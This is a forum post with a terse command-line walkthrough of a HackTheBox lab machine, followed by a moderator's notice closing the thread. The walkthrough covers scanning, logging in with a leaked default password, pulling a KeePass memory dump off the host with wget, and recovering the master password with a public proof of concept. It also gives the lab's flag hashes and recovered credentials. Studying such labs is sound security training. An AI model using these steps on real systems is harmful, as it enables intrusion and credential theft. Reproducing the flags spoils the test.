[dwecc433]

nmap -A -vv 10.10.11.227
# web: http://10.10.11.227
# -> in source: http://tickets.keeper.htb/rt/
# add to hosts
sudo sh -c 'echo "10.10.11.227 tickets.keeper.htb" >> /etc/hosts'
# web: http://tickets.keeper.htb/rt/
# Google: rt 4.4.4 default password
# web: http://tickets.keeper.htb/rt/Admin/Users/Modify.html?id=27
# -> username: lnorgaard
# -> in comment: New user. Initial password set to Welcome2023!
ssh [email protected]
cat  user.txt # 9b0e4f300d19b6434b85a5fb683b32a6
python3 -m http.server
wget http://10.10.*.*:8000/RT30000.zip
unzip RT30000.zip
git clone https://github.com/CMEPW/keepass-dump-masterkey.git
cd keepass-dump-masterkey
python3 poc.py ../KeePassDumpFull.dmp
# -> Possible password: ●,dgr●d med fl●de
# -> Possible password: ●ldgr●d med fl●de
# Google "dgr●d med fl●de", in suggesstion we have "rodgrod med flode" and "rødgrød med fløde" after searching
# install keepass and use master password
# find password:F4><3K0nd! and comment with RSA
# convert ppk format to openssh format (open in putty and export)
# ssh connect with key
cat root.txt # dbbac2a281945873640b3221040a6500

[Addka72424]

The last non-spam response in the topic was more than a month ago. I close the topic as irrelevant to prevent spam. If this is not the case, please send a pm and I will open the topic for discussion again.